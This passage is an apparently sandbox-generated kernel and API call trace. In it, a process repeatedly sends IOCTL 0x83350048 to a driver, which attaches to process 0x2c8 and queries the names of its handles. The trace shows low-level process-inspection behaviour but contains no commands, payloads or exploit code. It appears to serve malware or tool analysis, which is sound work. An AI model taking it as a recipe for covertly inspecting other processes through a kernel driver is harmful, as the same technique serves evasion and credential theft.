lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0093.515] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.515] PsAcquireProcessExitSynchronization () returned 0x0 [0093.515] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.515] ObReferenceObjectByHandle (in: Handle=0x1c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800316a180, HandleInformation=0x0) returned 0x0 [0093.515] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.515] PsReleaseProcessExitSynchronization () returned 0x2 [0093.515] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.515] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.515] ObfDereferenceObject (Object=0xfffffa800316a180) returned 0x20 [0093.515] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.515] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.515] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.515] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0093.515] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.516] PsAcquireProcessExitSynchronization () returned 0x0 [0093.516] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.516] ObReferenceObjectByHandle (in: Handle=0x1c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800b6a4e20, HandleInformation=0x0) returned 0x0 [0093.516] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.516] PsReleaseProcessExitSynchronization () returned 0x2 [0093.516] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.516] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fb0044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fb0044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.516] ObfDereferenceObject (Object=0xfffffa800b6a4e20) returned 0x20 [0093.516] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.516] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.516] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.516] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xa0, lpOverlapped=0x0) returned 1 [0093.516] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.516] PsAcquireProcessExitSynchronization () returned 0x0 [0093.516] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.516] ObReferenceObjectByHandle (in: Handle=0x1dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800316fea0, HandleInformation=0x0) returned 0x0 [0093.516] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.516] PsReleaseProcessExitSynchronization () returned 0x2 [0093.516] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.516] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.516] ObfDereferenceObject (Object=0xfffffa800316fea0) returned 0x12 [0093.516] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.516] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.516] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.516] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0093.516] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.516] PsAcquireProcessExitSynchronization () returned 0x0 [0093.516] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.516] ObReferenceObjectByHandle (in: Handle=0x204, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800316d800, HandleInformation=0x0) returned 0x0 [0093.516] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.516] PsReleaseProcessExitSynchronization () returned 0x2 [0093.516] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.516] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.516] ObfDereferenceObject (Object=0xfffffa800316d800) returned 0x20 [0093.517] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.517] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.517] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.517] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xa2, lpOverlapped=0x0) returned 1 [0093.517] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.517] PsAcquireProcessExitSynchronization () returned 0x0 [0093.517] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.517] ObReferenceObjectByHandle (in: Handle=0x210, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800316eda0, HandleInformation=0x0) returned 0x0 [0093.517] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.517] PsReleaseProcessExitSynchronization () returned 0x2 [0093.517] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.517] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233508) returned 0x0 [0093.517] ObfDereferenceObject (Object=0xfffffa800316eda0) returned 0x12 [0093.517] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.517] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.517] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.517] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0093.517] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.517] PsAcquireProcessExitSynchronization () returned 0x0 [0093.517] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.517] ObReferenceObjectByHandle (in: Handle=0x214, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800f25e8e0, HandleInformation=0x0) returned 0x0 [0093.517] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.517] PsReleaseProcessExitSynchronization () returned 0x2 [0093.517] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.517] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.517] ObfDereferenceObject (Object=0xfffffa800f25e8e0) returned 0x12 [0093.517] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.517] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.517] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.517] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x96, lpOverlapped=0x0) returned 1 [0093.518] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.518] PsAcquireProcessExitSynchronization () returned 0x0 [0093.518] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.518] ObReferenceObjectByHandle (in: Handle=0x218, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800316ec50, HandleInformation=0x0) returned 0x0 [0093.518] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.518] PsReleaseProcessExitSynchronization () returned 0x2 [0093.518] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.518] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233508) returned 0x0 [0093.518] ObfDereferenceObject (Object=0xfffffa800316ec50) returned 0x12 [0093.518] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.518] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.518] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.518] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xaa, lpOverlapped=0x0) returned 1 [0093.518] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.518] PsAcquireProcessExitSynchronization () returned 0x0 [0093.518] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.518] ObReferenceObjectByHandle (in: Handle=0x21c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800316d6b0, HandleInformation=0x0) returned 0x0 [0093.518] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.518] PsReleaseProcessExitSynchronization () returned 0x2 [0093.518] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.518] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233508) returned 0x0 [0093.518] ObfDereferenceObject (Object=0xfffffa800316d6b0) returned 0x12 [0093.518] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.518] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.518] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.518] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0093.518] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.518] PsAcquireProcessExitSynchronization () returned 0x0 [0093.518] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.518] ObReferenceObjectByHandle (in: Handle=0x224, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800316f070, HandleInformation=0x0) returned 0x0 [0093.518] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.518] PsReleaseProcessExitSynchronization () returned 0x2 [0093.518] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.519] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80026027c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80026027c4, ReturnLength=0xfffff88005233508) returned 0x0 [0093.519] ObfDereferenceObject (Object=0xfffffa800316f070) returned 0x12 [0093.519] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.519] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.519] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.519] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xcc, lpOverlapped=0x0) returned 1 [0093.519] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.519] PsAcquireProcessExitSynchronization () returned 0x0 [0093.519] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.519] ObReferenceObjectByHandle (in: Handle=0x228, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800edfdbe0, HandleInformation=0x0) returned 0x0 [0093.519] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.519] PsReleaseProcessExitSynchronization () returned 0x2 [0093.519] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.519] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.519] ObfDereferenceObject (Object=0xfffffa800edfdbe0) returned 0x21 [0093.519] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.519] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.519] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.519] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xe4, lpOverlapped=0x0) returned 1 [0093.519] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.519] PsAcquireProcessExitSynchronization () returned 0x0 [0093.519] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.519] ObReferenceObjectByHandle (in: Handle=0x244, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800b9ffbe0, HandleInformation=0x0) returned 0x0 [0093.519] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.519] PsReleaseProcessExitSynchronization () returned 0x2 [0093.519] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.519] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001942044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001942044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.519] ObfDereferenceObject (Object=0xfffffa800b9ffbe0) returned 0x12 [0093.519] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.519] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.519] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.519] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xe4, lpOverlapped=0x0) returned 1 [0093.519] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.519] PsAcquireProcessExitSynchronization () returned 0x0 [0093.520] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.520] ObReferenceObjectByHandle (in: Handle=0x258, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002f2c220, HandleInformation=0x0) returned 0x0 [0093.520] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.520] PsReleaseProcessExitSynchronization () returned 0x2 [0093.520] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.520] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001f8a044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001f8a044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.520] ObfDereferenceObject (Object=0xfffffa8002f2c220) returned 0x12 [0093.520] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.520] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.520] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.520] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xd8, lpOverlapped=0x0) returned 1 [0093.520] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.520] PsAcquireProcessExitSynchronization () returned 0x0 [0093.520] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.520] ObReferenceObjectByHandle (in: Handle=0x25c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800324b970, HandleInformation=0x0) returned 0x0 [0093.520] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.520] PsReleaseProcessExitSynchronization () returned 0x2 [0093.520] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.520] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003ab3044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003ab3044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.520] ObfDereferenceObject (Object=0xfffffa800324b970) returned 0x20 [0093.520] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.520] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.520] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.520] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xc8, lpOverlapped=0x0) returned 1 [0093.520] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.520] PsAcquireProcessExitSynchronization () returned 0x0 [0093.520] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.520] ObReferenceObjectByHandle (in: Handle=0x260, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003173b80, HandleInformation=0x0) returned 0x0 [0093.520] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.520] PsReleaseProcessExitSynchronization () returned 0x2 [0093.520] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.520] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800211a044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800211a044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.520] ObfDereferenceObject (Object=0xfffffa8003173b80) returned 0x12 [0093.520] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.521] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.521] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.521] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xd2, lpOverlapped=0x0) returned 1 [0093.521] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.521] PsAcquireProcessExitSynchronization () returned 0x0 [0093.521] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.521] ObReferenceObjectByHandle (in: Handle=0x264, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800296aa20, HandleInformation=0x0) returned 0x0 [0093.521] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.521] PsReleaseProcessExitSynchronization () returned 0x2 [0093.521] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.521] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002126044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002126044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.521] ObfDereferenceObject (Object=0xfffffa800296aa20) returned 0x12 [0093.521] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.521] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.521] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.521] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0093.521] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.521] PsAcquireProcessExitSynchronization () returned 0x0 [0093.521] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.521] ObReferenceObjectByHandle (in: Handle=0x2ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0093.521] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.521] PsReleaseProcessExitSynchronization () returned 0x2 [0093.521] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.521] 